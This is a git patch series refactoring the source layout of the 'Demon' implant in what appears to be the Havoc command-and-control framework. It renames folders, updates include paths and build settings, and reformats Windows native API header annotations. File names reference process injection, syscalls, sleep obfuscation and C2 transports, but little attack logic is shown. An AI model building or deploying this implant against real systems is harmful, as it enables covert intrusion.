b/payloads/Demon/src/core/Memory.c similarity index 99% rename from payloads/Demon/Source/Core/Memory.c rename to payloads/Demon/src/core/Memory.c index 055afed..435d228 100644 --- a/payloads/Demon/Source/Core/Memory.c +++ b/payloads/Demon/src/core/Memory.c @@ -1,5 +1,5 @@ #include -#include +#include /*! * Allocates virtual memory diff --git a/payloads/Demon/Source/Core/MiniStd.c b/payloads/Demon/src/core/MiniStd.c similarity index 99% rename from payloads/Demon/Source/Core/MiniStd.c rename to payloads/Demon/src/core/MiniStd.c index 700de17..a2f15b2 100644 --- a/payloads/Demon/Source/Core/MiniStd.c +++ b/payloads/Demon/src/core/MiniStd.c @@ -1,6 +1,6 @@ #include -#include +#include /* * Most of the functions from here are from VX-Underground https://github.com/vxunderground/VX-API diff --git a/payloads/Demon/Source/Loader/ObjectApi.c b/payloads/Demon/src/core/ObjectApi.c similarity index 99% rename from payloads/Demon/Source/Loader/ObjectApi.c rename to payloads/Demon/src/core/ObjectApi.c index 822a969..aba1c8c 100644 --- a/payloads/Demon/Source/Loader/ObjectApi.c +++ b/payloads/Demon/src/core/ObjectApi.c @@ -3,15 +3,14 @@ #include #include +#include +#include +#include +#include +#include +#include +#include -#include -#include -#include -#include -#include -#include "Common/Defines.h" - -#include #ifndef bufsize #define bufsize 8192 diff --git a/payloads/Demon/Source/Core/Package.c b/payloads/Demon/src/core/Package.c similarity index 98% rename from payloads/Demon/Source/Core/Package.c rename to payloads/Demon/src/core/Package.c index 24ca66c..05b1873 100644 --- a/payloads/Demon/Source/Core/Package.c +++ b/payloads/Demon/src/core/Package.c @@ -1,14 +1,14 @@ /* Import Core Headers */ -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include /* Import Crypto Header (enable CTR Mode) */ #define CTR 1 #define AES256 1 -#include +#include VOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value ) { diff --git a/payloads/Demon/Source/Core/Parser.c b/payloads/Demon/src/core/Parser.c similarity index 97% rename from payloads/Demon/Source/Core/Parser.c rename to payloads/Demon/src/core/Parser.c index 3eb3b17..9f0aa41 100644 --- a/payloads/Demon/Source/Core/Parser.c +++ b/payloads/Demon/src/core/Parser.c @@ -1,8 +1,8 @@ #include -#include -#include -#include +#include +#include +#include VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size ) { diff --git a/payloads/Demon/Source/Core/Pivot.c b/payloads/Demon/src/core/Pivot.c similarity index 98% rename from payloads/Demon/Source/Core/Pivot.c rename to payloads/Demon/src/core/Pivot.c index 416f920..2a8a897 100644 --- a/payloads/Demon/Source/Core/Pivot.c +++ b/payloads/Demon/src/core/Pivot.c @@ -1,11 +1,11 @@ #include -#include +#include -#include -#include -#include -#include +#include +#include +#include +#include /* TODO: Change the way new pivots gets added. * diff --git a/payloads/Demon/Source/Core/Runtime.c b/payloads/Demon/src/core/Runtime.c similarity index 99% rename from payloads/Demon/Source/Core/Runtime.c rename to payloads/Demon/src/core/Runtime.c index de4efbb..ab826cd 100644 --- a/payloads/Demon/Source/Core/Runtime.c +++ b/payloads/Demon/src/core/Runtime.c @@ -1,6 +1,6 @@ #include -#include -#include +#include +#include BOOL RtAdvapi32( diff --git a/payloads/Demon/Source/Core/SleepObf.c b/payloads/Demon/src/core/SleepObf.c similarity index 99% rename from payloads/Demon/Source/Core/SleepObf.c rename to payloads/Demon/src/core/SleepObf.c index 8f4d1a7..9d02f2d 100644 --- a/payloads/Demon/Source/Core/SleepObf.c +++ b/payloads/Demon/src/core/SleepObf.c @@ -1,10 +1,10 @@ #include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include #include #include diff --git a/payloads/Demon/Source/Core/Socket.c b/payloads/Demon/src/core/Socket.c similarity index 99% rename from payloads/Demon/Source/Core/Socket.c rename to payloads/Demon/src/core/Socket.c index fda72c1..b8fbf83 100644 --- a/payloads/Demon/Source/Core/Socket.c +++ b/payloads/Demon/src/core/Socket.c @@ -1,6 +1,6 @@ #include -#include +#include /* attempt to receive all the requested data from the socket * Took it from: https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c#L41 */ diff --git a/payloads/Demon/Source/Core/Spoof.c b/payloads/Demon/src/core/Spoof.c similarity index 95% rename from payloads/Demon/Source/Core/Spoof.c rename to payloads/Demon/src/core/Spoof.c index 0e58a2d..119e5e6 100644 --- a/payloads/Demon/Source/Core/Spoof.c +++ b/payloads/Demon/src/core/Spoof.c @@ -1,5 +1,5 @@ -#include -#include +#include +#include #if _WIN64 diff --git a/payloads/Demon/Source/Core/SysNative.c b/payloads/Demon/src/core/SysNative.c similarity index 99% rename from payloads/Demon/Source/Core/SysNative.c rename to payloads/Demon/src/core/SysNative.c index 821e703..2ef8a32 100644 --- a/payloads/Demon/Source/Core/SysNative.c +++ b/payloads/Demon/src/core/SysNative.c @@ -1,7 +1,7 @@ #include -#include -#include +#include +#include NTSTATUS NTAPI SysNtOpenThread( OUT PHANDLE ThreadHandle, diff --git a/payloads/Demon/Source/Core/Syscalls.c b/payloads/Demon/src/core/Syscalls.c similarity index 98% rename from payloads/Demon/Source/Core/Syscalls.c rename to payloads/Demon/src/core/Syscalls.c index de2915c..ba05866 100644 --- a/payloads/Demon/Source/Core/Syscalls.c +++ b/payloads/Demon/src/core/Syscalls.c @@ -1,8 +1,8 @@ #include -#include -#include -#include +#include +#include +#include /*! * Initialize syscall addr + ssn diff --git a/payloads/Demon/Source/Core/Thread.c b/payloads/Demon/src/core/Thread.c similarity index 98% rename from payloads/Demon/Source/Core/Thread.c rename to payloads/Demon/src/core/Thread.c index 550a84f..34e64da 100644 --- a/payloads/Demon/Source/Core/Thread.c +++ b/payloads/Demon/src/core/Thread.c @@ -1,10 +1,10 @@ #include -#include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include +#include /*! * queries the NT_TIB from the specified leaked thread RSP address diff --git a/payloads/Demon/Source/Core/Token.c b/payloads/Demon/src/core/Token.c similarity index 99% rename from payloads/Demon/Source/Core/Token.c rename to payloads/Demon/src/core/Token.c index 30bd929..8699ac7 100644 --- a/payloads/Demon/Source/Core/Token.c +++ b/payloads/Demon/src/core/Token.c @@ -1,11 +1,11 @@ #include -#include +#include -#include -#include -#include -#include +#include +#include +#include +#include #include diff --git a/payloads/Demon/Source/Core/Transport.c b/payloads/Demon/src/core/Transport.c similarity index 90% rename from payloads/Demon/Source/Core/Transport.c rename to payloads/Demon/src/core/Transport.c index 3171f42..9b4939a 100644 --- a/payloads/Demon/Source/Core/Transport.c +++ b/payloads/Demon/src/core/Transport.c @@ -1,14 +1,14 @@ #include -#include +#include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include -#include +#include BOOL TransportInit( ) { diff --git a/payloads/Demon/Source/Core/TransportHttp.c b/payloads/Demon/src/core/TransportHttp.c similarity index 99% rename from payloads/Demon/Source/Core/TransportHttp.c rename to payloads/Demon/src/core/TransportHttp.c index e6af953..af1d7fd 100644 --- a/payloads/Demon/Source/Core/TransportHttp.c +++ b/payloads/Demon/src/core/TransportHttp.c @@ -1,7 +1,7 @@ #include -#include -#include +#include +#include #ifdef TRANSPORT_HTTP diff --git a/payloads/Demon/Source/Core/TransportSmb.c b/payloads/Demon/src/core/TransportSmb.c similarity index 99% rename from payloads/Demon/Source/Core/TransportSmb.c rename to payloads/Demon/src/core/TransportSmb.c index e06f415..4ffdeb9 100644 --- a/payloads/Demon/Source/Core/TransportSmb.c +++ b/payloads/Demon/src/core/TransportSmb.c @@ -1,7 +1,7 @@ #include -#include -#include +#include +#include #ifdef TRANSPORT_SMB diff --git a/payloads/Demon/Source/Core/Win32.c b/payloads/Demon/src/core/Win32.c similarity index 99% rename from payloads/Demon/Source/Core/Win32.c rename to payloads/Demon/src/core/Win32.c index cb44198..9c9704b 100644 --- a/payloads/Demon/Source/Core/Win32.c +++ b/payloads/Demon/src/core/Win32.c @@ -1,11 +1,11 @@ #include -#include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include +#include /*! * Extended String Hasher diff --git a/payloads/Demon/Source/Crypt/AesCrypt.c b/payloads/Demon/src/crypt/AesCrypt.c similarity index 99% rename from payloads/Demon/Source/Crypt/AesCrypt.c rename to payloads/Demon/src/crypt/AesCrypt.c index 137dfa4..61af7af 100644 --- a/payloads/Demon/Source/Crypt/AesCrypt.c +++ b/payloads/Demon/src/crypt/AesCrypt.c @@ -1,5 +1,5 @@ -#include -#include +#include +#include #define Nb 4 diff --git a/payloads/Demon/Source/Inject/Inject.c b/payloads/Demon/src/inject/Inject.c similarity index 98% rename from payloads/Demon/Source/Inject/Inject.c rename to payloads/Demon/src/inject/Inject.c index c75ada4..6448614 100644 --- a/payloads/Demon/Source/Inject/Inject.c +++ b/payloads/Demon/src/inject/Inject.c @@ -1,13 +1,13 @@ #include #include -#include -#include -#include -#include -#include -#include -#include +#include +#include +#include +#include +#include +#include +#include /*! * Inject code into a remote process diff --git a/payloads/Demon/Source/Inject/InjectUtil.c b/payloads/Demon/src/inject/InjectUtil.c similarity index 96% rename from payloads/Demon/Source/Inject/InjectUtil.c rename to payloads/Demon/src/inject/InjectUtil.c index 94af2e9..9006c5d 100644 --- a/payloads/Demon/Source/Inject/InjectUtil.c +++ b/payloads/Demon/src/inject/InjectUtil.c @@ -1,9 +1,9 @@ #include -#include -#include -#include -#include +#include +#include +#include +#include #ifndef _WIN32 typedef ULONG NTSTATUS; diff --git a/payloads/Demon/Source/Main/MainDll.c b/payloads/Demon/src/main/MainDll.c similarity index 98% rename from payloads/Demon/Source/Main/MainDll.c rename to payloads/Demon/src/main/MainDll.c index e2dcac9..2216f5c 100644 --- a/payloads/Demon/Source/Main/MainDll.c +++ b/payloads/Demon/src/main/MainDll.c @@ -1,6 +1,6 @@ #include -#include +#include #ifndef SHELLCODE /* Export this for rundll32 or any other program that requires and exported functions... diff --git a/payloads/Demon/Source/Main/MainExe.c b/payloads/Demon/src/main/MainExe.c similarity index 100% rename from payloads/Demon/Source/Main/MainExe.c rename to payloads/Demon/src/main/MainExe.c diff --git a/payloads/Demon/Source/Main/MainSvc.c b/payloads/Demon/src/main/MainSvc.c similarity index 100% rename from payloads/Demon/Source/Main/MainSvc.c rename to payloads/Demon/src/main/MainSvc.c From b9e9f767055851547d355ad0836ba26b5b92bcd6 Mon Sep 17 00:00:00 2001 From: Cracked5pider Date: Mon, 13 Nov 2023 13:46:57 +0100 Subject: [PATCH 2/8] change project src folders --- teamserver/pkg/common/builder/builder.go | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/teamserver/pkg/common/builder/builder.go b/teamserver/pkg/common/builder/builder.go index 8a9a6d9..c8c8523 100644 --- a/teamserver/pkg/common/builder/builder.go +++ b/teamserver/pkg/common/builder/builder.go @@ -139,15 +139,14 @@ func NewBuilder(config BuilderConfig) *Builder { builder.config.Arch = ARCHITECTURE_X64 builder.compilerOptions.SourceDirs = []string{ - "Source/Core", - "Source/Crypt", - "Source/Inject", - "Source/Loader", - "Source/Asm", + "src/core", + "src/crypt", + "src/inject", + "src/asm", } builder.compilerOptions.IncludeDirs = []string{ - "Include", + "include", } /* @@ -194,9 +193,9 @@ func NewBuilder(config BuilderConfig) *Builder { } } - builder.compilerOptions.Main.Dll = "Source/Main/MainDll.c" - builder.compilerOptions.Main.Exe = "Source/Main/MainExe.c" - builder.compilerOptions.Main.Svc = "Source/Main/MainSvc.c" + builder.compilerOptions.Main.Dll = "src/main/MainDll.c" + builder.compilerOptions.Main.Exe = "src/main/MainExe.c" + builder.compilerOptions.Main.Svc = "src/main/MainSvc.c" builder.compilerOptions.Config = config @@ -333,7 +332,7 @@ func (b *Builder) Build() bool { } } } - CompileCommand += "Source/Demon.c " + CompileCommand += "src/Demon.c " // add include directories for _, dir := range b.compilerOptions.IncludeDirs { @@ -518,7 +517,7 @@ func (b *Builder) Patch(ByteArray []byte) []byte { new := []byte(b.ProfileConfig.ReplaceStringsX64[old]) // make sure they are the same length if len(new) < len(old) { - new = append(new, bytes.Repeat([]byte{0}, len(old) - len(new))...) + new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...) } if len(new) > len(old) { logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old)) @@ -539,7 +538,7 @@ func (b *Builder) Patch(ByteArray []byte) []byte { new := []byte(b.ProfileConfig.ReplaceStringsX86[old]) // make sure they are the same length if len(new) < len(old) { - new = append(new, bytes.Repeat([]byte{0}, len(old) - len(new))...) + new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...) } if len(new) > len(old) { logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old)) From 050c4d7563ddfbd83bcb079cec71b0837c83a84a Mon Sep 17 00:00:00 2001 From: Cracked5pider Date: Mon, 13 Nov 2023 19:01:11 +0100 Subject: [PATCH 3/8] refactoring agent code. --- payloads/Demon/include/Demon.h | 1 + payloads/Demon/include/common/Macros.h | 2 - payloads/Demon/include/common/Native.h | 774 +++++++++---------- payloads/Demon/include/core/HwBpExceptions.h | 4 +- payloads/Demon/include/core/Memory.h | 21 +- payloads/Demon/include/core/Package.h | 2 +- payloads/Demon/include/core/Spoof.h | 16 +- payloads/Demon/include/core/Syscalls.h | 2 +- payloads/Demon/include/core/TransportHttp.h | 17 +- payloads/Demon/include/core/Win32.h | 2 +- payloads/Demon/src/Demon.c | 18 +- payloads/Demon/src/core/CoffeeLdr.c | 8 +- payloads/Demon/src/core/Command.c | 79 +- payloads/Demon/src/core/Dotnet.c | 14 +- payloads/Demon/src/core/Download.c | 16 +- payloads/Demon/src/core/HwBpEngine.c | 16 +- payloads/Demon/src/core/HwBpExceptions.c | 4 +- payloads/Demon/src/core/Memory.c | 102 ++- payloads/Demon/src/core/Package.c | 6 +- payloads/Demon/src/core/Socket.c | 14 +- payloads/Demon/src/core/Spoof.c | 16 +- payloads/Demon/src/core/SysNative.c | 14 +- payloads/Demon/src/core/Thread.c | 6 +- payloads/Demon/src/core/Token.c | 18 +- payloads/Demon/src/core/TransportHttp.c | 284 +++---- payloads/Demon/src/core/TransportSmb.c | 8 +- payloads/Demon/src/core/Win32.c | 8 +- payloads/Demon/src/inject/Inject.c | 22 +- payloads/Demon/src/main/MainDll.c | 2 +- 29 files changed, 780 insertions(+), 716 deletions(-) diff --git a/payloads/Demon/include/Demon.h b/payloads/Demon/include/Demon.h index 30c658b..5213d1b 100644 --- a/payloads/Demon/include/Demon.h +++ b/payloads/Demon/include/Demon.h @@ -26,6 +26,7 @@ #include #include #include +#include #ifdef DEBUG #include diff --git a/payloads/Demon/include/common/Macros.h b/payloads/Demon/include/common/Macros.h index 22e4e65..6eda19a 100644 --- a/payloads/Demon/include/common/Macros.h +++ b/payloads/Demon/include/common/Macros.h @@ -17,8 +17,6 @@ /* Heap allocation functions */ #define NtProcessHeap() Instance.Teb->ProcessEnvironmentBlock->ProcessHeap -#define NtHeapAlloc( x ) Instance.Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, x ); -#define NtHeapFree( x ) Instance.Win32.RtlFreeHeap( NtProcessHeap(), 0, x ); #define DLLEXPORT __declspec( dllexport ) #define RVA( TYPE, DLLBASE, RVA ) ( TYPE ) ( ( PBYTE ) DLLBASE + RVA ) diff --git a/payloads/Demon/include/common/Native.h b/payloads/Demon/include/common/Native.h index f17719b..7c8565a 100644 --- a/payloads/Demon/include/common/Native.h +++ b/payloads/Demon/include/common/Native.h @@ -3761,9 +3761,9 @@ typedef enum _PLUGPLAY_CONTROL_CLASS { typedef VOID (*PPS_APC_ROUTINE) ( - IN OPTIONAL PVOID ApcArgument1, - IN OPTIONAL PVOID ApcArgument2, - IN OPTIONAL PVOID ApcArgument3 + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 ); typedef enum _KEY_INFORMATION_CLASS { @@ -5187,7 +5187,7 @@ typedef (*PWD_HANDLER)( IN WATCHDOG_HANDLER_ACTION Action, IN PVOID Context, - IN OUT PULONG DataValue, + _Inout_ PULONG DataValue, IN BOOLEAN NoLocks ); @@ -5993,7 +5993,7 @@ typedef struct _CSR_API_MSG typedef ULONG (*PCSR_CALLBACK_ROUTINE)( - IN OUT PCSR_API_MSG ReplyMsg + _Inout_ PCSR_API_MSG ReplyMsg ); typedef struct _CSR_CALLBACK_INFO @@ -6622,7 +6622,7 @@ typedef union _LDR_DLL_NOTIFICATION_DATA typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( IN ULONG NotificationReason, IN PLDR_DLL_NOTIFICATION_DATA NotificationData, - IN OPTIONAL PVOID Context + _In_opt_ PVOID Context ); typedef struct _RTL_PROCESS_MODULE_INFORMATION @@ -6714,7 +6714,7 @@ struct _FLS_CALLBACK_INFO; typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( IN PVOID DllHandle, IN ULONG Reason, - IN OPTIONAL PCONTEXT Context + _In_opt_ PCONTEXT Context ); #define DOS_MAX_COMPONENT_LENGTH 255 @@ -7286,8 +7286,8 @@ EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) ( IN struct _EXCEPTION_RECORD *ExceptionRecord, IN PVOID EstablisherFrame, - IN OUT struct _CONTEXT *ContextRecord, - IN OUT PVOID DispatcherContext + _Inout_ struct _CONTEXT *ContextRecord, + _Inout_ PVOID DispatcherContext ); typedef struct _EXCEPTION_REGISTRATION_RECORD { @@ -7374,7 +7374,7 @@ typedef struct _CONTEXT // is being used to modify a threads context, then only that // portion of the threads context will be modified. // - // If the context record is used as an IN OUT parameter to capture + // If the context record is used as an _Inout_ parameter to capture // the context of a thread, then only those portions of the thread's // context corresponding to set flags will be returned. // @@ -8589,7 +8589,7 @@ NTSTATUS LsaLookupOpenLocalPolicy( IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, IN ACCESS_MASK AccessMask, - IN OUT PLSA_LOOKUP_HANDLE PolicyHandle + _Inout_ PLSA_LOOKUP_HANDLE PolicyHandle ); NTSTATUS @@ -8810,7 +8810,7 @@ LsaLogonUser ( IN ULONG AuthenticationPackage, IN PVOID AuthenticationInformation, IN ULONG AuthenticationInformationLength, - IN OPTIONAL PTOKEN_GROUPS LocalGroups, + _In_opt_ PTOKEN_GROUPS LocalGroups, IN PTOKEN_SOURCE SourceContext, OUT PVOID *ProfileBuffer, OUT PULONG ProfileBufferLength, @@ -9479,7 +9479,7 @@ typedef struct _LSA_ENUMERATION_INFORMATION { NTSTATUS NTAPI LsaFreeMemory( - IN OPTIONAL PVOID Buffer + _In_opt_ PVOID Buffer ); NTSTATUS @@ -9551,7 +9551,7 @@ LsaGetLogonSessionData( NTSTATUS NTAPI LsaOpenPolicy( - IN OPTIONAL PLSA_UNICODE_STRING SystemName, + _In_opt_ PLSA_UNICODE_STRING SystemName, IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE PolicyHandle @@ -9587,7 +9587,7 @@ NTAPI LsaSetDomainInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, - IN OPTIONAL PVOID Buffer + _In_opt_ PVOID Buffer ); NTSTATUS @@ -9608,7 +9608,7 @@ NTSTATUS NTAPI LsaEnumerateTrustedDomains( IN LSA_HANDLE PolicyHandle, - IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + _Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext, OUT PVOID *Buffer, IN ULONG preferredMaximumLength, OUT PULONG CountReturned @@ -9664,7 +9664,7 @@ NTSTATUS NTAPI LsaEnumerateAccountsWithUserRight( IN LSA_HANDLE PolicyHandle, - IN OPTIONAL PLSA_UNICODE_STRING UserRight, + _In_opt_ PLSA_UNICODE_STRING UserRight, OUT PVOID *Buffer, OUT PULONG CountReturned ); @@ -9759,7 +9759,7 @@ NTSTATUS NTAPI LsaEnumerateTrustedDomainsEx( IN LSA_HANDLE PolicyHandle, - IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + _Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext, OUT PVOID *Buffer, IN ULONG preferredMaximumLength, OUT PULONG CountReturned @@ -9819,7 +9819,7 @@ NTAPI LsaStorePrivateData( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING KeyName, - IN OPTIONAL PLSA_UNICODE_STRING PrivateData + _In_opt_ PLSA_UNICODE_STRING PrivateData ); NTSTATUS @@ -9882,8 +9882,8 @@ typedef struct _RTL_STACK_CONTEXT { typedef NTSTATUS (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( IN PVOID Base, - IN OUT PVOID *CommitAddress, - IN OUT PSIZE_T CommitSize + _Inout_ PVOID *CommitAddress, + _Inout_ PSIZE_T CommitSize ); typedef struct _RTL_HEAP_PARAMETERS @@ -11368,7 +11368,7 @@ RtlInitializeHandleTable( NTSTATUS NTAPI RtlDestroyHandleTable( - IN OUT PRTL_HANDLE_TABLE HandleTable + _Inout_ PRTL_HANDLE_TABLE HandleTable ); PRTL_HANDLE_TABLE_ENTRY @@ -11431,7 +11431,7 @@ NTAPI RtlAddAtomToAtomTable( IN PVOID AtomTableHandle, IN PWSTR AtomName, - IN OUT OPTIONAL PRTL_ATOM Atom + _Inout_opt_ PRTL_ATOM Atom ); NTSTATUS @@ -11463,8 +11463,8 @@ RtlQueryAtomInAtomTable( IN RTL_ATOM Atom, OUT OPTIONAL PULONG AtomUsage, OUT OPTIONAL PULONG AtomFlags, - IN OUT PWSTR AtomName, - IN OUT OPTIONAL PULONG AtomNameLength + _Inout_ PWSTR AtomName, + _Inout_opt_ PULONG AtomNameLength ); NTSTATUS @@ -11685,7 +11685,7 @@ RtlAssert( IN PVOID VoidFailedAssertion, IN PVOID VoidFileName, IN ULONG LineNumber, - IN OPTIONAL PSTR MutableMessage + _In_opt_ PSTR MutableMessage ); VOID @@ -11762,9 +11762,9 @@ RtlEnumerateGenericTableLikeADirectory ( IN PRTL_AVL_MATCH_FUNCTION MatchFunction, IN PVOID MatchData, IN ULONG NextFlag, - IN OUT PVOID *RestartKey, - IN OUT PULONG DeleteCount, - IN OUT PVOID Buffer + _Inout_ PVOID *RestartKey, + _Inout_ PULONG DeleteCount, + _Inout_ PVOID Buffer ); PVOID @@ -11949,7 +11949,7 @@ BOOLEAN NTAPI RtlFreeHeap( IN PVOID HeapHandle, - IN OPTIONAL ULONG Flags, + _In_opt_ ULONG Flags, IN PVOID BaseAddress ); @@ -12136,7 +12136,7 @@ NTAPI RtlCreateTagHeap( IN PVOID HeapHandle, IN ULONG Flags, - IN OPTIONAL PWSTR TagPrefix, + _In_opt_ PWSTR TagPrefix, IN PWSTR TagNames ); @@ -12188,7 +12188,7 @@ NTAPI RtlUsageHeap( IN PVOID HeapHandle, IN ULONG Flags, - IN OUT PRTL_HEAP_USAGE Usage + _Inout_ PRTL_HEAP_USAGE Usage ); @@ -12196,7 +12196,7 @@ NTSTATUS NTAPI RtlWalkHeap( IN PVOID HeapHandle, - IN OUT PRTL_HEAP_WALK_ENTRY Entry + _Inout_ PRTL_HEAP_WALK_ENTRY Entry ); #if !defined(_WINDOWS_) @@ -12206,7 +12206,7 @@ RtlQueryHeapInformation( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, OUT OPTIONAL PVOID HeapInformation, - IN OPTIONAL SIZE_T HeapInformationLength, + _In_opt_ SIZE_T HeapInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); @@ -12215,8 +12215,8 @@ NTAPI RtlSetHeapInformation( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, - IN OPTIONAL PVOID HeapInformation, - IN OPTIONAL SIZE_T HeapInformationLength + _In_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength ); #endif @@ -12362,7 +12362,7 @@ RtlSetCurrentTransaction( PRTL_DEBUG_INFORMATION NTAPI RtlCreateQueryDebugBuffer( - IN OPTIONAL ULONG MaximumCommit, + _In_opt_ ULONG MaximumCommit, IN BOOLEAN UseEventPair ); @@ -12377,7 +12377,7 @@ NTAPI RtlQueryProcessDebugInformation( IN HANDLE UniqueProcessId, IN ULONG Flags, - IN OUT PRTL_DEBUG_INFORMATION Buffer + _Inout_ PRTL_DEBUG_INFORMATION Buffer ); @@ -12453,7 +12453,7 @@ RtlIpv4AddressToStringExA( IN const struct in_addr *Address, IN USHORT Port, OUT PSTR AddressString, - IN OUT PULONG AddressStringLength + _Inout_ PULONG AddressStringLength ); NTSTATUS @@ -12463,7 +12463,7 @@ RtlIpv6AddressToStringExA( IN ULONG ScopeId, IN USHORT Port, OUT PSTR AddressString, - IN OUT PULONG AddressStringLength + _Inout_ PULONG AddressStringLength ); PWSTR @@ -12486,7 +12486,7 @@ RtlIpv4AddressToStringExW( IN const struct in_addr *Address, IN USHORT Port, OUT PWSTR AddressString, - IN OUT PULONG AddressStringLength + _Inout_ PULONG AddressStringLength ); NTSTATUS @@ -12496,7 +12496,7 @@ RtlIpv6AddressToStringExW( IN ULONG ScopeId, IN USHORT Port, OUT PWSTR AddressString, - IN OUT PULONG AddressStringLength + _Inout_ PULONG AddressStringLength ); NTSTATUS @@ -12582,7 +12582,7 @@ NTAPI RtlInt64ToUnicodeString ( IN ULONGLONG Value, IN ULONG Base OPTIONAL, - IN OUT PUNICODE_STRING String + _Inout_ PUNICODE_STRING String ); NTSTATUS @@ -13030,7 +13030,7 @@ NTAPI RtlIsTextUnicode( IN CONST VOID* Buffer, IN ULONG Size, - IN OUT PULONG Result OPTIONAL + _Inout_ PULONG Result OPTIONAL ); NTSTATUS @@ -13052,7 +13052,7 @@ NTAPI RtlGenerate8dot3Name ( IN PUNICODE_STRING Name, IN BOOLEAN AllowExtendedCharacters, - IN OUT PGENERATE_NAME_CONTEXT Context, + _Inout_ PGENERATE_NAME_CONTEXT Context, OUT PUNICODE_STRING Name8dot3 ); @@ -13060,8 +13060,8 @@ BOOLEAN NTAPI RtlIsNameLegalDOS8Dot3 ( IN PUNICODE_STRING Name, - IN OUT POEM_STRING OemName OPTIONAL, - IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + _Inout_ POEM_STRING OemName OPTIONAL, + _Inout_ PBOOLEAN NameContainsSpaces OPTIONAL ); VOID @@ -13289,7 +13289,7 @@ NTSTATUS NTAPI RtlDescribeChunk ( IN USHORT CompressionFormat, - IN OUT PUCHAR *CompressedBuffer, + _Inout_ PUCHAR *CompressedBuffer, IN PUCHAR EndOfCompressedBufferPlus1, OUT PUCHAR *ChunkBuffer, OUT PULONG ChunkSize @@ -13299,7 +13299,7 @@ NTSTATUS NTAPI RtlReserveChunk ( IN USHORT CompressionFormat, - IN OUT PUCHAR *CompressedBuffer, + _Inout_ PUCHAR *CompressedBuffer, IN PUCHAR EndOfCompressedBufferPlus1, OUT PUCHAR *ChunkBuffer, IN ULONG ChunkSize @@ -13324,7 +13324,7 @@ RtlCompressChunks ( IN ULONG UncompressedBufferSize, OUT PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, - IN OUT PCOMPRESSED_DATA_INFO CompressedDataInfo, + _Inout_ PCOMPRESSED_DATA_INFO CompressedDataInfo, IN ULONG CompressedDataInfoLength, IN PVOID WorkSpace ); @@ -13474,7 +13474,7 @@ RtlImageRvaToVa( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID Base, IN ULONG Rva, - IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL + _Inout_ PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL ); @@ -14096,9 +14096,9 @@ RtlGetAce( NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( - IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, - IN OPTIONAL PSID Owner, - IN OPTIONAL BOOLEAN OwnerDefaulted + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Owner, + _In_opt_ BOOLEAN OwnerDefaulted ); NTSTATUS @@ -14173,7 +14173,7 @@ RtlAddAuditAccessAceEx( NTSTATUS NTAPI RtlAddAccessAllowedObjectAce( - IN OUT PACL Acl, + _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, @@ -14185,7 +14185,7 @@ RtlAddAccessAllowedObjectAce( NTSTATUS NTAPI RtlAddAccessDeniedObjectAce( - IN OUT PACL Acl, + _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, @@ -14197,7 +14197,7 @@ RtlAddAccessDeniedObjectAce( NTSTATUS NTAPI RtlAddAuditAccessObjectAce( - IN OUT PACL Acl, + _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, @@ -14281,7 +14281,7 @@ NTAPI RtlSetAttributesSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN SECURITY_DESCRIPTOR_CONTROL Control, - IN OUT PULONG Revision + _Inout_ PULONG Revision ); NTSTATUS @@ -14312,7 +14312,7 @@ RtlGetSecurityDescriptorRMControl( VOID NTAPI RtlSetSecurityDescriptorRMControl( - IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN PUCHAR RMControl OPTIONAL ); @@ -14337,7 +14337,7 @@ RtlGetSaclSecurityDescriptor ( NTSTATUS NTAPI RtlSetGroupSecurityDescriptor ( - IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID Group OPTIONAL, IN BOOLEAN GroupDefaulted OPTIONAL ); @@ -14355,7 